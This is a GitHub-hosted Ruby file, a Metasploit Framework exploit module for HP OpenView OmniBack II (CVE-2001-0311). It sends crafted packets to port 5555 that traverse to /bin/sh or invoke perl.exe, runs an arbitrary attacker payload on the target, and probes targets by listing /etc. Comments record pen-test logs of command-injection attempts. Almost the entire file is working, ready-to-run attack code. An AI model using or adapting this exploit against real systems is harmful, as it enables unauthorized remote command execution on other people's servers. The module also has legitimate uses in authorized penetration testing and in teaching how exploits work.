Repository navigation
Expand file tree
/
Copy path16291.rb
More file actions
executable file
·241 lines (206 loc) · 6.16 KB
/
Copy path16291.rb
File metadata and controls
executable file
·241 lines (206 loc) · 6.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
##
# $Id: openview_omniback_exec.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'HP OpenView OmniBack II Command Execution',
'Description' => %q{
This module uses a vulnerability in the OpenView Omniback II
service to execute arbitrary commands. This vulnerability was
discovered by DiGiT and his code was used as the basis for this
module.
For Microsoft Windows targets, due to module limitations, use the
"unix/cmd/generic" payload and set CMD to your command. You can only
pass a small amount of characters (4) to the command line on Windows.
},
'Author' => [ 'hdm', 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2001-0311'],
['OSVDB', '6018'],
['BID', '11032'],
['URL', 'http://www.securiteam.com/exploits/6M00O150KG.html'],
],
'Platform' => ['unix'], # win
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
[ 'Unix', { }],
[ 'Windows', { }],
],
'DisclosureDate' => 'Feb 28 2001',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(5555)
], self.class)
end
def check
if (target.name =~ /Unix/)
connect
poof =
"\x00\x00\x00.2"+
"\x00 a"+
"\x00 0"+
"\x00 0"+
"\x00 0"+
"\x00 A"+
"\x00 28"+
"\x00/../../../bin/sh"+
"\x00\x00"+
"digit "+
"AAAA\n\x00"
sock.put(poof)
sock.put("echo /etc/*;\n")
res = sock.get_once(-1, 5)
disconnect
if !(res and res.length > 0)
print_status("The remote service did not reply to our request")
return Exploit::CheckCode::Safe
end
if (res =~ /passwd|group|resolv/)
print_status("The remote service is exploitable")
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
if (target.name =~ /Windows/)
connect
poof =
"\x00\x00\x00.2"+
"\x00 a"+
"\x00 0"+
"\x00 0"+
"\x00 0"+
"\x00 A"+
"\x00 28"+
"\x00\\perl.exe"+
"\x00\x20-e\x20system(dir)\x00\x00"+
"digit "+
"AAAA\n\x00"
sock.put(poof)
res = sock.get_once(-1, 5)
disconnect
print_status(res.to_s)
if !(res and res.length > 0)
print_status("The remote service did not reply to our request")
return Exploit::CheckCode::Safe
end
if (res =~ /V.o.l.u.m.e/) #Unicode
print_status("The remote service is exploitable")
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
end
def exploit
if (target.name =~ /Unix/)
connect
poof =
"\x00\x00\x00.2"+
"\x00 a"+
"\x00 0"+
"\x00 0"+
"\x00 0"+
"\x00 A"+
"\x00 28"+
"\x00/../../../bin/sh"+
"\x00\x00"+
"digit "+
"AAAA\n\x00"
sock.put(poof)
sock.put(payload.encoded + ";\n")
res = sock.get_once(-1, 5)
if !(res and res.length > 0)
print_status("The remote service did not reply to our request")
disconnect
return
end
print(res)
handler
disconnect
end
if (target.name =~ /Windows/)
# patrickw
#
# Tested during pen test against Windows 2003 server.
# Windows Service details:
# - Data Protector Inet
# -> [HP OpenView Storage Data Protector] - Backup client service
# -> "C:\Program Files\OmniBack\bin\omniinet.exe"
# -> OmniInet service for Windows NT
# -> File version: 6.0.0.0
#
# This needs to be cleaned up later. Preferably using the Windows/cmd/perl payloads.
#
# Notes:
# I was unable to use directory traversal, OR (||) or AND (&&) techniques to directly run cmd.exe
# Perhaps a difference in Windows/Unix code? Logs:
#
#11/11/2008 12:18:37 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
#A request 28 (..\foo.exe) came from host [attacker] which is not a cell manager of this client
#
#11/11/2008 12:18:37 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
#[RxNtIntegUtil] parameter refused: ..\foo.exe
#
#11/11/2008 12:21:59 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
#A request 28 (x.exe || cmd /c dir > c:) came from host [attacker] which is not a cell manager of this client
#
#11/11/2008 12:21:59 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
#[RxNtIntegUtil] parameter refused: x.exe || cmd /c dir > c:
#
#11/11/2008 12:22:40 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
#A request 28 (perl.exe && cmd /c dir >) came from [attacker] which is not a cell manager of this client
#
#11/11/2008 12:22:40 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
#[RxNtIntegUtil] parameter refused: perl.exe && cmd /c dir >
connect
poof =
"\x00\x00\x00.2"+
"\x00 a"+
"\x00 0"+
"\x00 0"+
"\x00 0"+
"\x00 A"+
"\x00 28"+
"\x00\\perl.exe"+
"\x00\x20-esystem(#{payload.encoded})\x00\x00"+
"digit "+
"AAAA\n\x00"
sock.put(poof)
#sock.put(payload.encoded + "\n")
res = sock.get_once(-1, 5)
if !(res and res.length > 0)
print_status("The remote service did not reply to our request")
disconnect
return
end
print(res)
handler
disconnect
end
end
end